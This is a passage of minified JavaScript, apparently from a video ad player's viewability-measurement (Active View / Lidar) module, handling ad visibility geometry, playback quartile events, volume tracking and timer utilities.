KE.prototype.RY=function(){return this.AQ.j>=this.SY};if(Va&&Va.URL){var $93=Va.URL,HC9;if(HC9=!!$93){var iCy;a:{if($93){var Id9=RegExp(".*[&#?]google_debug(=[^&]*)?(&.*)?$");try{var il=Id9.exec(decodeURIComponent($93));if(il){iCy=il[1]&&il[1].length>1?il[1].substring(1):"true";break a}}catch(x){}}iCy=""}HC9=iCy.length>0}yi.Nc=!HC9};var E9V=new x4(0,0,0,0);var Kn4=new x4(0,0,0,0);g.P(tp,g.W);g.q=tp.prototype;
g.q.oU=function(){if(this.PD.C){if(this.s6.C0){var x=this.PD.C;x.removeEventListener&&x.removeEventListener("mouseover",this.s6.C0,m0());this.s6.C0=null}this.s6.b2&&(x=this.PD.C,x.removeEventListener&&x.removeEventListener("mouseout",this.s6.b2,m0()),this.s6.b2=null)}this.gh&&this.gh.dispose();this.aW&&this.aW.dispose();delete this.lY;delete this.V0;delete this.Ip;delete this.PD.Fn;delete this.PD.C;delete this.s6;delete this.gh;delete this.aW;delete this.Ru;g.W.prototype.oU.call(this)};
g.q.zp=function(){return this.aW?this.aW.C:this.position};
g.q.gJ=function(x){L$().gJ(x)};
g.q.O$=function(){return!1};
g.q.oa=function(){return new KE};
g.q.g_=function(){return this.lY};
g.q.wj=function(x){return oLV(this,x,1E4)};
g.q.Nj=function(x,T,t,u,H,I,E){this.QW||(this.LW&&(x=this.nG(x,t,H,E),u=u&&this.H_.Jo>=(this.hx()?.3:.5),this.IV(I,x,u),this.W$=T,x.Jo>0&&-1===this.Jt&&(this.Jt=T),this.S0==-1&&this.RY()&&(this.S0=T),this.N3==-2&&(this.N3=Ts(this.zp())?x.Jo:-1),this.H_=x),this.V0(this))};
g.q.IV=function(x,T,t){this.g_().update(x,T,this.H_,t)};
g.q.uu=function(){return new Tu};
g.q.nG=function(x,T,t,u){t=this.uu();t.C=T;T=vD().Z;T=Mj(Va)===0?-1:T.isVisible()?0:1;t.Z=T;t.Jo=this.Xg(x);t.hx=this.hx();t.J$=u;return t};
g.q.Xg=function(x){return this.opacity===0&&IF(this.Ru,"opac")===1?0:x};
g.q.hx=function(){return!1};
g.q.MZ=function(){return this.YmU||this.mjf};
g.q.Cu=function(){OL()};
g.q.Je=function(){OL()};
g.q.B$=function(){return 0};
g.q.RY=function(){return this.lY.RY()};
g.q.iP=function(){var x=this.LW;x=(this.hasCompleted||this.T9())&&!x;var T=L$().Z!==2||this.Ndu;return this.QW||T&&x?2:this.RY()?4:3};
g.q.ag=function(){return 0};g.uI.prototype.next=function(){return g.IW};
g.IW={done:!0,value:void 0};g.uI.prototype.Pw=function(){return this};g.P(isX,Tu);var E_=ELD([void 0,1,2,3,4,8,16]),qP=ELD([void 0,4,8,16]),qhd={sv:"sv",v:"v",cb:"cb",e:"e",nas:"nas",msg:"msg","if":"if",sdk:"sdk",p:"p",p0:Im("p0",qP),p1:Im("p1",qP),p2:Im("p2",qP),p3:Im("p3",qP),cp:"cp",tos:"tos",mtos:"mtos",amtos:"amtos",mtos1:iI("mtos1",[0,2,4],!1,qP),mtos2:iI("mtos2",[0,2,4],!1,qP),mtos3:iI("mtos3",[0,2,4],!1,qP),mcvt:"mcvt",ps:"ps",scs:"scs",bs:"bs",vht:"vht",mut:"mut",a:"a",a0:Im("a0",qP),a1:Im("a1",qP),a2:Im("a2",qP),a3:Im("a3",qP),ft:"ft",dft:"dft",at:"at",dat:"dat",as:"as",
vpt:"vpt",gmm:"gmm",std:"std",efpf:"efpf",swf:"swf",nio:"nio",px:"px",nnut:"nnut",vmer:"vmer",vmmk:"vmmk",vmiec:"vmiec",nmt:"nmt",tcm:"tcm",bt:"bt",pst:"pst",vpaid:"vpaid",dur:"dur",vmtime:"vmtime",dtos:"dtos",dtoss:"dtoss",dvs:"dvs",dfvs:"dfvs",dvpt:"dvpt",fmf:"fmf",vds:"vds",is:"is",i0:"i0",i1:"i1",i2:"i2",i3:"i3",ic:"ic",cs:"cs",c:"c",c0:Im("c0",qP),c1:Im("c1",qP),c2:Im("c2",qP),c3:Im("c3",qP),mc:"mc",nc:"nc",mv:"mv",nv:"nv",qmt:Im("qmtos",E_),qnc:Im("qnc",E_),qmv:Im("qmv",E_),qnv:Im("qnv",E_),
raf:"raf",rafc:"rafc",lte:"lte",ces:"ces",tth:"tth",femt:"femt",femvt:"femvt",emc:"emc",emuc:"emuc",emb:"emb",avms:"avms",nvat:"nvat",qi:"qi",psm:"psm",psv:"psv",psfv:"psfv",psa:"psa",pnk:"pnk",pnc:"pnc",pnmm:"pnmm",pns:"pns",ptlt:"ptlt",pngs:"pings",veid:"veid",ssb:"ssb",ss0:Im("ss0",qP),ss1:Im("ss1",qP),ss2:Im("ss2",qP),ss3:Im("ss3",qP),dc_rfl:"urlsigs",obd:"obd",omidp:"omidp",omidr:"omidr",omidv:"omidv",omida:"omida",omids:"omids",omidpv:"omidpv",omidam:"omidam",omidct:"omidct",omidia:"omidia",
omiddc:"omiddc",omidlat:"omidlat",omiddit:"omiddit",nopd:"nopd",co:"co",tm:"tm",tu:"tu"},ZCh=Object.assign({},qhd,{avid:Ee("audio"),avas:"avas",vs:"vs"}),jPP={atos:"atos",avt:iI("atos",[2]),davs:"davs",dafvs:"dafvs",dav:"dav",ss:function(x,T){return function(t){return t[x]===void 0&&T!==void 0?T:t[x]}}("ss",0),
t:"t"};j5.prototype.getValue=function(){return this.Z};
j5.prototype.update=function(x,T){x>=32||(this.C&1<<x&&!T?this.Z&=~(1<<x):this.C&1<<x||!T||(this.Z|=1<<x),this.C|=1<<x)};g.P(e5,KE);
e5.prototype.update=function(x,T,t,u){if(!T.paused){KE.prototype.update.call(this,x,T,t,u);var H=HY(T)&&HY(t),I=(u?Math.min(T.Jo,t.Jo):t.Jo)>=.5;FJ(T.volume)&&(this.K=this.K!=-1?Math.min(this.K,T.volume):T.volume,this.D=Math.max(this.D,T.volume));I&&(this.Hv+=x,this.S+=H?x:0);this.C.update(T.Jo,t.Jo,T.C,x,u,H);this.j.update(!0,x);this.T.update(H,x);this.ZZ.update(t.fullscreen,x);this.Cz.update(H&&!I,x);x=Math.floor(T.mediaTime/1E3);this.hQ.update(x,T.isVisible());this.tQ.update(x,T.Jo>=1);this.mu.update(x,
HY(T))}};m6H.prototype.Z=function(x){this.j||(this.C(x)?(x=r84(this.S,this.K,x),this.T|=x,x=x==0):x=!1,this.j=x)};g.P(mL,m6H);mL.prototype.C=function(){return!0};
mL.prototype.D=function(){return!1};
mL.prototype.getId=function(){var x=this,T=rg(rT,function(t){return t==x.K});
return p5[T].toString()};
mL.prototype.toString=function(){var x="";this.D()&&(x+="c");this.j&&(x+="s");this.T>0&&(x+=":"+this.T);return this.getId()+x};g.P(dT,mL);dT.prototype.Z=function(x,T){T=T===void 0?null:T;T!=null&&this.N.push(T);mL.prototype.Z.call(this,x)};g.P(Mz,d65);Mz.prototype.Z=function(){return null};
Mz.prototype.j=function(){return[]};g.P(Ap,Bf);g.q=Ap.prototype;g.q.BT=function(){if(this.element){var x=this.element,T=this.Z.C.j;try{try{var t=c5X(x.getBoundingClientRect())}catch(l){t=new x4(0,0,0,0)}var u=t.right-t.left,H=t.bottom-t.top,I=Ru4(x,T),E=I.x,Z=I.y;var e=new x4(Math.round(Z),Math.round(E+u),Math.round(Z+H),Math.round(E))}catch(l){e=E9V.clone()}this.j=e;this.C=vFv(this,this.j)}};
g.q.Ug=function(){this.D=this.Z.K.C};
g.q.X8=function(x){var T=IF(this.Ru,"od")==1;return wOX(x,this.D,this.element,T)};
g.q.HA=function(){this.timestamp=OL()};
g.q.V3=function(){this.HA();this.BT();if(this.element&&typeof this.element.videoWidth==="number"&&typeof this.element.videoHeight==="number"){var x=this.element;var T=new g.lu(x.videoWidth,x.videoHeight);x=this.C;var t=Td(x),u=x.getHeight(),H=T.width;T=T.height;H<=0||T<=0||t<=0||u<=0||(H/=T,T=t/u,x=x.clone(),H>T?(t/=H,u=(u-t)/2,u>0&&(u=x.top+u,x.top=Math.round(u),x.bottom=Math.round(u+t))):(u*=H,t=Math.round((t-u)/2),t>0&&(t=x.left+t,x.left=Math.round(t),x.right=Math.round(t+u))));this.C=x}this.Ug();
x=this.C;t=this.D;x=x.left<=t.right&&t.left<=x.right&&x.top<=t.bottom&&t.top<=x.bottom?new x4(Math.max(x.top,t.top),Math.min(x.right,t.right),Math.min(x.bottom,t.bottom),Math.max(x.left,t.left)):new x4(0,0,0,0);t=x.top>=x.bottom||x.left>=x.right?new x4(0,0,0,0):x;x=this.Z.K;T=H=u=0;if((this.C.bottom-this.C.top)*(this.C.right-this.C.left)>0)if(this.X8(t))t=new x4(0,0,0,0);else{u=vf().K;T=new x4(0,u.height,u.width,0);var I;u=om(t,(I=this.T)!=null?I:this.C);H=om(t,vf().C);T=om(t,T)}I=t.top>=t.bottom||
t.left>=t.right?new x4(0,0,0,0):t2(t,-this.C.left,-this.C.top);Gd()||(H=u=0);this.S=new u2(x,this.element,this.C,I,u,H,this.timestamp,T)};
g.q.getName=function(){return this.Z.getName()};var eby=new x4(0,0,0,0);g.P(Rm,Ap);g.q=Rm.prototype;g.q.observe=function(){this.K();return!0};
g.q.Ud=function(){Ap.prototype.V3.call(this)};
g.q.HA=function(){};
g.q.BT=function(){};
g.q.V3=function(){this.K();Ap.prototype.V3.call(this)};
g.q.A5=function(x){x=x.isActive();x!==this.J&&(x?this.K():(vf().C=new x4(0,0,0,0),this.C=new x4(0,0,0,0),this.D=new x4(0,0,0,0),this.timestamp=-1));this.J=x};var ZB={},rK5=(ZB.firstquartile=0,ZB.midpoint=1,ZB.thirdquartile=2,ZB.complete=3,ZB);g.P(S5,tp);g.q=S5.prototype;g.q.O$=function(){return!0};
g.q.z2=function(){return this.gE==2};
g.q.wj=function(x){return oLV(this,x,Math.max(1E4,this.j/3))};
g.q.Nj=function(x,T,t,u,H,I,E){var Z=this,e=this.N(this)||{};g.V9(e,H);this.j=e.duration||this.j;this.S=e.isVpaid||this.S;this.nf=e.isYouTube||this.nf;vD();this.Ee=!1;H=AK5(this,T);M33(this)===1&&(I=H);tp.prototype.Nj.call(this,x,T,t,u,e,I,E);this.BZ&&this.BZ.j&&g.lg(this.D,function(l){l.Z(Z)})};
g.q.IV=function(x,T,t){tp.prototype.IV.call(this,x,T,t);US(this).update(x,T,this.H_,t);this.SY=HY(this.H_)&&HY(T);this.Om==-1&&this.tQ&&(this.Om=this.g_().j.C);this.Sx.j=0;x=this.RY();T.isVisible()&&ZK(this.Sx,"vs");x&&ZK(this.Sx,"vw");FJ(T.volume)&&ZK(this.Sx,"am");HY(T)?ZK(this.Sx,"a"):ZK(this.Sx,"mut");this.i8&&ZK(this.Sx,"f");T.Z!=-1&&(ZK(this.Sx,"bm"),T.Z==1&&(ZK(this.Sx,"b"),HY(T)&&ZK(this.Sx,"umutb")));HY(T)&&T.isVisible()&&ZK(this.Sx,"avs");this.SY&&x&&ZK(this.Sx,"avw");T.Jo>0&&ZK(this.Sx,
"pv");bI(this,this.g_().j.C,!0)&&ZK(this.Sx,"gdr");fE(this.g_().Z,1)>=2E3&&ZK(this.Sx,"pmx");this.Ee&&ZK(this.Sx,"tvoff")};
g.q.oa=function(){return new e5};
g.q.g_=function(){return this.lY};
g.q.uu=function(){return new isX};
g.q.nG=function(x,T,t,u){x=tp.prototype.nG.call(this,x,T,t,u===void 0?-1:u);x.fullscreen=this.i8;x.paused=this.z2();x.volume=t.volume;FJ(x.volume)||(this.Lz++,T=this.H_,FJ(T.volume)&&(x.volume=T.volume));t=t.currentTime;x.mediaTime=t!==void 0&&t>=0?t:-1;return x};
g.q.Xg=function(x){return vf(),this.i8?1:tp.prototype.Xg.call(this,x)};
g.q.B$=function(){return 1};
g.q.getDuration=function(){return this.j};
g.q.iP=function(){return this.QW?2:P63(this)?5:this.RY()?4:3};
g.q.ag=function(){return this.Cz?this.g_().T.j>=2E3?4:3:2};
g.q.BV=function(x){this.aW&&this.aW.BV(x)};var ldV=g.x9();gLX.prototype.reset=function(){this.C=[];this.Z=[]};
var vY=Fr(gLX);g.P(L5,Wf);g.q=L5.prototype;g.q.getName=function(){return(this.Z?this.Z:this.C).getName()};
g.q.Kx=function(){return(this.Z?this.Z:this.C).Kx()};
g.q.lw=function(){return(this.Z?this.Z:this.C).lw()};
g.q.init=function(x){var T=!1;(0,g.lg)(this.j,function(t){t.initialize()&&(T=!0)});
T&&(this.K=x,a_(this.C,this));return T};
g.q.dispose=function(){(0,g.lg)(this.j,function(x){x.dispose()});
Wf.prototype.dispose.call(this)};
g.q.BF=function(){return h2(this.j,function(x){return x.gA()})};
g.q.B0=function(){return h2(this.j,function(x){return x.gA()})};
g.q.BO=function(x,T,t){return new Ap(x,this.C,T,t)};
g.q.Ud=function(x){this.Z=x.Z};var pLJ={threshold:[0,.3,.5,.75,1]};g.P(n5,Ap);g.q=n5.prototype;g.q.observe=function(){var x=this;this.jY||(this.jY=OL());if(EFi(298,function(){return Osf(x)}))return!0;
this.Z.Zw("msf");return!1};
g.q.unobserve=function(){if(this.K&&this.element)try{this.K.unobserve(this.element),this.J?(this.J.unobserve(this.element),this.J=null):this.N&&(this.N.disconnect(),this.N=null)}catch(x){}};
g.q.V3=function(){var x=am(this);x.length>0&&gT(this,x);Ap.prototype.V3.call(this)};
g.q.BT=function(){};
g.q.X8=function(){return!1};
g.q.Ug=function(){};
g.q.Kx=function(){var x={};return Object.assign(this.Z.Kx(),(x.niot_obs=this.jY,x.niot_cbk=this.ZZ,x))};
g.q.getName=function(){return"nio"};g.P(BY,Wf);BY.prototype.getName=function(){return"nio"};
BY.prototype.B0=function(){return!vf().Z&&this.C.C.j.IntersectionObserver!=null};
BY.prototype.BO=function(x,T,t){return new n5(x,this.C,T,t)};g.P(WY,nE);WY.prototype.XM=function(){return vf().C};
WY.prototype.gA=function(){var x=wLm();this.J!==x&&(this.C!=this&&x>this.C.J&&(this.C=this,gl(this)),this.J=x);return x==2};DK.prototype.sample=function(){Jp(this,VU(),!1)};
DK.prototype.K=function(){var x=Gd(),T=OL();x?(w7||(K$=T,g.lg(vY.C,function(t){var u=t.g_();u.G9=lI(u,T,t.gE!=1)})),w7=!0):(this.N=oa4(this,T),w7=!1,zzf=T,g.lg(vY.C,function(t){t.LW&&(t.g_().J=T)}));
Jp(this,VU(),!x)};
var yU=Fr(DK);var sFv=null,eE="",jE=!1;var H$D=$jX().xv,QU=$jX().P$;var Ea4={MdU:"visible",j4v:"audible",tUW:"time",msv:"timetype"},qLH={visible:function(x){return/^(100|[0-9]{1,2})$/.test(x)},
audible:function(x){return x=="0"||x=="1"},
timetype:function(x){return x=="mtos"||x=="tos"},
time:function(x){return/^(100|[0-9]{1,2})%$/.test(x)||/^([0-9])+ms$/.test(x)}};
Ijf.prototype.setTime=function(x,T,t){T=="ms"?(this.j=x,this.K=-1):(this.j=-1,this.K=x);this.T=t===void 0?"tos":t;return this};g.P(wT,mL);wT.prototype.getId=function(){return this.N};
wT.prototype.D=function(){return!0};
wT.prototype.C=function(x){var T=x.g_(),t=x.getDuration();return h2(this.J,function(u){if(u.C!=void 0)var H=jFv(u,T);else b:{switch(u.T){case "mtos":H=u.Z?T.T.j:T.j.C;break b;case "tos":H=u.Z?T.T.C:T.j.C;break b}H=0}H==0?u=!1:(u=u.j!=-1?u.j:t!==void 0&&t>0?u.K*t:-1,u=u!=-1&&H>=u);return u})};g.P(K5,Zs5);K5.prototype.C=function(x){var T=new qpV;T.C=qz(x,qhd);T.Z=qz(x,jPP);return T};g.P(XP,mL);XP.prototype.C=function(x){return P63(x)};g.P(xw,d65);g.P(Tn,mL);Tn.prototype.C=function(x){return x.g_().RY()};g.P(op,dT);op.prototype.C=function(x){var T=g.wy(this.N,IF(L$().Ru,"ovms"));return!x.QW&&(x.gE!=0||T)};g.P(t_,xw);t_.prototype.Z=function(){return new op(this.C)};
t_.prototype.j=function(){return[new Tn("viewable_impression",this.C),new XP(this.C)]};g.P(sX,Rm);sX.prototype.K=function(){var x=g.yJ("ima.admob.getViewability"),T=IF(this.Ru,"queryid");typeof x==="function"&&T&&x(T)};
sX.prototype.getName=function(){return"gsv"};g.P(uN,Wf);uN.prototype.getName=function(){return"gsv"};
uN.prototype.B0=function(){var x=vf();L$();return x.Z&&!1};
uN.prototype.BO=function(x,T,t){return new sX(this.C,T,t)};g.P($w,Rm);$w.prototype.K=function(){var x=this,T=g.yJ("ima.bridge.getNativeViewability"),t=IF(this.Ru,"queryid");typeof T==="function"&&t&&T(t,function(u){g.z0(u)&&x.N++;var H=u.opt_nativeViewVisibleBounds||{},I=u.opt_nativeViewHidden;x.C=YWV(u.opt_nativeViewBounds||{});var E=x.Z.K;E.C=I?eby.clone():YWV(H);x.timestamp=u.opt_nativeTime||-1;vf().C=E.C;u=u.opt_nativeVolume;u!==void 0&&(E.volume=u)})};
$w.prototype.getName=function(){return"nis"};g.P(Hs,Wf);Hs.prototype.getName=function(){return"nis"};
Hs.prototype.B0=function(){var x=vf();L$();return x.Z&&!1};
Hs.prototype.BO=function(x,T,t){return new $w(this.C,T,t)};g.P(iN,nE);g.q=iN.prototype;g.q.gA=function(){return this.Z.UL!=null};
g.q.FM=function(){var x={};this.hQ&&(x.mraid=this.hQ);this.uG&&(x.mlc=1);x.mtop=this.Z.kVW;this.N&&(x.mse=this.N);this.QU&&(x.msc=1);x.mcp=this.Z.compatibility;return x};
g.q.zq=function(x){var T=g.FD.apply(1,arguments);try{return this.Z.UL[x].apply(this.Z.UL,T)}catch(t){p$(538,t,.01,function(u){u.method=x})}};
g.q.initialize=function(){var x=this;if(this.isInitialized)return!this.uW();this.isInitialized=!0;if(this.Z.compatibility===2)return this.N="ng",this.Zw("w"),!1;if(this.Z.compatibility===1)return this.N="mm",this.Zw("w"),!1;vf().J=!0;this.j.document.readyState&&this.j.document.readyState=="complete"?dj5(this):xJ(this.j,"load",function(){vD().setTimeout(Qi(292,function(){return dj5(x)}),100)},292);
return!0};
g.q.nV=function(){var x=vf(),T=SLJ(this,"getMaxSize");x.C=new x4(0,T.width,T.height,0)};
g.q.g2=function(){vf().K=SLJ(this,"getScreenSize")};
g.q.dispose=function(){A8m(this);nE.prototype.dispose.call(this)};var pdH=new function(x,T){this.key=x;this.defaultValue=T===void 0?!1:T;this.valueType="boolean"}("45378663");g.q=EX.prototype;g.q.MG=function(x){sS(x,!1);yKV(x)};
g.q.OO=function(){};
g.q.t4=function(x,T,t,u){var H=this;x=new S5(lO,x,t?T:-1,7,this.dX(),this.Ak());x.ub=u;mYH(x.Ru);iO(x.Ru,"queryid",x.ub);x.gJ("");uiJ(x,function(){return H.Kn.apply(H,g.U(g.FD.apply(0,arguments)))},function(){return H.HfG.apply(H,g.U(g.FD.apply(0,arguments)))});
(u=Fr(Gs).C)&&Twf(x,u);this.j&&(x.BV(this.j),this.j=null);x.PD.Fn&&Fr(Klf);return x};
g.q.A5=function(x){switch(x.lw()){case 0:if(x=Fr(Gs).C)x=x.C,g.XF(x.T,this),x.S&&this.O$()&&FnX(x);Zu();break;case 2:Nz()}};
g.q.Ud=function(){};
g.q.O$=function(){return!1};
g.q.HfG=function(x,T){x.QW=!0;switch(x.B$()){case 1:zsC(x,T);break;case 2:this.VG(x)}};
g.q.rQY=function(x){var T=x.N(x);T&&(T=T.volume,x.Cz=FJ(T)&&T>0);YpH(x,0);return zs(x,"start",Gd())};
g.q.bO=function(x,T,t){Jp(yU,[x],!Gd());return this.c$(x,T,t)};
g.q.c$=function(x,T,t){return zs(x,t,Gd())};
g.q.IZ9=function(x){return MV(x,"firstquartile",1)};
g.q.Djc=function(x){x.tQ=!0;return MV(x,"midpoint",2)};
g.q.MY7=function(x){return MV(x,"thirdquartile",3)};
g.q.lZQ=function(x){var T=MV(x,"complete",4);cY(x);return T};
g.q.Off=function(x){x.gE=3;return zs(x,"error",Gd())};
g.q.mS=function(x,T,t){T=Gd();if(x.z2()&&!T){var u=x.g_(),H=OL();u.J=H}Jp(yU,[x],!T);x.z2()&&(x.gE=1);return zs(x,t,T)};
g.q.h7c=function(x,T){T=this.bO(x,T||{},"skip");cY(x);return T};
g.q.QUv=function(x,T){sS(x,!0);return this.bO(x,T||{},"fullscreen")};
g.q.yQZ=function(x,T){sS(x,!1);return this.bO(x,T||{},"exitfullscreen")};
g.q.IS=function(x,T,t){T=x.g_();var u=OL();T.G9=lI(T,u,x.gE!=1);Jp(yU,[x],!Gd());x.gE==1&&(x.gE=2);return zs(x,t,Gd())};
g.q.Tym=function(x){Jp(yU,[x],!Gd());return x.Z()};
g.q.Y2=function(x){Jp(yU,[x],!Gd());this.G4(x);cY(x);return x.Z()};
g.q.Kn=function(){};
g.q.VG=function(){};
g.q.G4=function(){};
g.q.cF=function(){};
g.q.zO=function(){};
g.q.Ak=function(){this.C||(this.C=this.zO());return this.C==null?new Mz:new t_(this.C)};
g.q.dX=function(){return new K5};g.P(A_,mL);A_.prototype.C=function(x){return x.ag()==4};g.P(Rp,dT);Rp.prototype.C=function(x){x=x.ag();return x==3||x==4};g.P(Ps,xw);Ps.prototype.Z=function(){return new Rp(this.C)};
Ps.prototype.j=function(){return[new A_(this.C)]};g.P(SE,Zs5);SE.prototype.C=function(x){x&&(x.e===28&&(x=Object.assign({},x,{avas:3})),x.vs===4||x.vs===5)&&(x=Object.assign({},x,{vs:3}));var T=new qpV;T.C=qz(x,ZCh);T.Z=qz(x,jPP);return T};vaq.prototype.Z=function(){return g.yJ(this.C)};g.P(cs,EX);g.q=cs.prototype;g.q.OO=function(x,T){var t=this,u=Fr(Gs);if(u.C!=null)switch(u.C.getName()){case "nis":var H=naJ(this,x,T);break;case "gsv":H=L0f(this,x,T);break;case "exc":H=ajv(this,x)}H||(T.opt_overlayAdElement?H=void 0:T.opt_adElement&&(H=F0v(this,x,T.opt_adElement,T.opt_osdId)));H&&H.B$()==1&&(H.N==g.qY&&(H.N=function(I){return t.cF(I)}),GuX(this,H,T));
return H};
g.q.cF=function(x){x.Z=0;x.Hv=0;if(x.K=="h"||x.K=="n"){L$();x.mu&&(L$(),mf(this)!="h"&&mf(this));var T=g.yJ("ima.common.getVideoMetadata");if(typeof T==="function")try{var t=T(x.ub)}catch(H){x.Z|=4}else x.Z|=2}else if(x.K=="b")if(T=g.yJ("ytads.bulleit.getVideoMetadata"),typeof T==="function")try{t=T(x.ub)}catch(H){x.Z|=4}else x.Z|=2;else if(x.K=="ml")if(T=g.yJ("ima.common.getVideoMetadata"),typeof T==="function")try{t=T(x.ub)}catch(H){x.Z|=4}else x.Z|=2;else x.Z|=1;x.Z||(t===void 0?x.Z|=8:t===null?
x.Z|=16:g.z0(t)?x.Z|=32:t.errorCode!=null&&(x.Hv=t.errorCode,x.Z|=64));t==null&&(t={});T=t;x.J=0;for(var u in uF9)T[u]==null&&(x.J|=uF9[u]);hsH(T,"currentTime");hsH(T,"duration");FJ(t.volume)&&FJ()&&(t.volume*=NaN);return t};
g.q.zO=function(){L$();mf(this)!="h"&&mf(this);var x=gaq(this);return x!=null?new vaq(x):null};
g.q.VG=function(x){!x.C&&x.QW&&dX(this,x,"overlay_unmeasurable_impression")&&(x.C=!0)};
g.q.G4=function(x){x.QC&&(x.RY()?dX(this,x,"overlay_viewable_end_of_session_impression"):dX(this,x,"overlay_unviewable_impression"),x.QC=!1)};
g.q.Kn=function(){};
g.q.t4=function(x,T,t,u){if(Oq3()){var H=IF(L$().Ru,"mm"),I={};(H=(I[n$.vR]="ACTIVE_VIEW_TRAFFIC_TYPE_AUDIO",I[n$.VIDEO]="ACTIVE_VIEW_TRAFFIC_TYPE_VIDEO",I)[H])&&y8H(this,H);this.K==="ACTIVE_VIEW_TRAFFIC_TYPE_UNSPECIFIED"&&p$(1044,Error())}x=EX.prototype.t4.call(this,x,T,t,u);this.T&&(T=this.D,x.T==null&&(x.T=new $6D),T.C[x.ub]=x.T,x.T.T=ldV);return x};
g.q.MG=function(x){x&&x.B$()==1&&this.T&&delete this.D.C[x.ub];return EX.prototype.MG.call(this,x)};
g.q.Ak=function(){this.C||(this.C=this.zO());return this.C==null?new Mz:this.K==="ACTIVE_VIEW_TRAFFIC_TYPE_AUDIO"?new Ps(this.C):new t_(this.C)};
g.q.dX=function(){return this.K==="ACTIVE_VIEW_TRAFFIC_TYPE_AUDIO"?new SE:new K5};
g.q.BV=function(x,T,t,u,H){T=new x4(t,T+u,t+H,T);(x=hp(vY,x))?x.BV(T):this.j=T};
var m9b=C$(193,J8J,void 0,ku3);g.DC("Goog_AdSense_Lidar_sendVastEvent",m9b);var d9C=Qi(194,function(x,T){T=T===void 0?{}:T;x=Djq(Fr(cs),x,T);return N73(x)});
g.DC("Goog_AdSense_Lidar_getViewability",d9C);var M0d=C$(195,function(){return yaJ()});
g.DC("Goog_AdSense_Lidar_getUrlSignalsArray",M0d);var AMb=Qi(196,function(){return JSON.stringify(yaJ())});
g.DC("Goog_AdSense_Lidar_getUrlSignalsList",AMb);var COJ=(new Date("2024-01-01T00:00:00Z")).getTime();var O$f=em(["//ep2.adtrafficquality.google/sodar/",""]),fjD=em(["//tpc.googlesyndication.com/sodar/",""]);g.P(Fj,g.W);Fj.prototype.FG=function(){return this.wpc.f()};
Fj.prototype.jp=function(x){this.wpc.c(x)};
Fj.prototype.Fw=function(x){return this.wpc.m(xnJ(x))};
Fj.prototype.N_=function(x){return this.wpc.mws(xnJ(x))};
g.P(rX,g.W);rX.prototype.snapshot=function(x){return this.KF.s(Object.assign({},x.Ek&&{c:x.Ek},x.F2&&{s:x.F2},x.Az!==void 0&&{p:x.Az}))};
rX.prototype.h1=function(x){this.KF.e(x)};
rX.prototype.TR=function(){return this.KF.l()};var KLX=(new Date).getTime();var twv="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.]*.moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),s_q=/\bocr\b/;var $ni=/(?:\[|%5B)([a-zA-Z0-9_]+)(?:\]|%5D)/g;var P24=0,RNi=0,S9i=0;var HEJ=Object.assign({},{attributes:{},handleError:function(x){throw x;}},{csy:!0,
Fc9:!0,fR:!1,TGW:!1,HTv:!1,fbm:!1,q9Z:OoV});var Vw=null,Lt=!1,MwD=1,gX=Symbol("SIGNAL"),ju={version:0,ho9:0,ZU:!1,Im:void 0,qV:void 0,Pf:void 0,Gz:0,n_:void 0,Yk:void 0,cA:!1,qw:!1,kind:"unknown",DC:function(){return!1},
T4:function(){},
FN:function(){},
Rkv:function(){}};var eu=Symbol("UNSET"),ll=Symbol("COMPUTING"),mt=Symbol("ERRORED");Object.assign({},ju,{value:eu,ZU:!0,error:null,yf:vs,kind:"computed",DC:function(x){return x.value===eu||x.value===ll},
T4:function(x){if(x.value===ll)throw Error("Detected cycle in computations.");var T=x.value;x.value=ll;var t=q9C(x),u=!1;try{var H=x.pZ();Gn(null);u=T!==eu&&T!==mt&&H!==mt&&x.yf(T,H)}catch(I){H=mt,x.error=I}finally{ZEC(x,t)}u?x.value=T:(x.value=H,x.version++)}});var mnD=Object.assign({},ju,{yf:vs,value:void 0,kind:"signal"});Object.assign({},ju,{value:eu,ZU:!0,error:null,yf:vs,DC:function(x){return x.value===eu||x.value===ll},
T4:function(x){if(x.value===ll)throw Error("Detected cycle in computations.");var T=x.value;x.value=ll;var t=q9C(x);try{var u=x.source();var H=x.pZ(u,T===eu||T===mt?void 0:{source:x.d09,value:T});x.d09=u}catch(I){H=mt,x.error=I}finally{ZEC(x,t)}T!==eu&&H!==mt&&x.yf(T,H)?x.value=T:(x.value=H,x.version++)}});Object.assign({},ju,{qw:!0,cA:!1,FN:function(x){x.schedule!==null&&x.schedule(x.bNY)},
oZW:!1,Dp9:function(){}});var c2m=Symbol("updater");g.P(Ws,g.wv);Ws.prototype.dispose=function(){window.removeEventListener("offline",this.j);window.removeEventListener("online",this.j);this.Lt.L_(this.T);delete Ws.instance};
Ws.prototype.TV=function(){return this.C};
Ws.prototype.NI=function(){var x=this;this.T=this.Lt.v_(function(){var T;return g.G(function(t){if(t.C==1)return x.C?((T=window.navigator)==null?0:T.onLine)?t.lG(3):g.v(t,Bs(x),3):g.v(t,Bs(x),3);x.NI();g.RV(t)})},3E4)};yw.prototype.set=function(x,T){T=T===void 0?!0:T;0<=x&&x<52&&Number.isInteger(x)&&this.data[x]!==T&&(this.data[x]=T,this.C=-1)};
yw.prototype.get=function(x){return!!this.data[x]};var J_;g.TV(g.pt,g.W);g.q=g.pt.prototype;g.q.start=function(){this.stop();this.K=!1;var x=r23(this),T=zNi(this);x&&!T&&this.Z.mozRequestAnimationFrame?(this.C=g.WQ(this.Z,"MozBeforePaint",this.j),this.Z.mozRequestAnimationFrame(null),this.K=!0):this.C=x&&T?x.call(this.Z,this.j):this.Z.setTimeout(JZ5(this.j),20)};
g.q.stop=function(){if(this.isActive()){var x=r23(this),T=zNi(this);x&&!T&&this.Z.mozRequestAnimationFrame?pz(this.C):x&&T?T.call(this.Z,this.C):this.Z.clearTimeout(this.C)}this.C=null};
g.q.isActive=function(){return this.C!=null};
g.q.sK=function(){this.K&&this.C&&pz(this.C);this.C=null;this.D.call(this.T,g.x9())};
g.q.oU=function(){this.stop();g.pt.uq.oU.call(this)};g.TV(g.wX,g.W);g.q=g.wX.prototype;g.q.qq=0;g.q.oU=function(){g.wX.uq.oU.call(this);this.stop();delete this.C;delete this.Z};
g.q.start=function(x){this.stop();this.qq=g.cd(this.j,x!==void 0?x:this.KU)};
g.q.stop=function(){this.isActive()&&g.BX.clearTimeout(this.qq);this.qq=0};
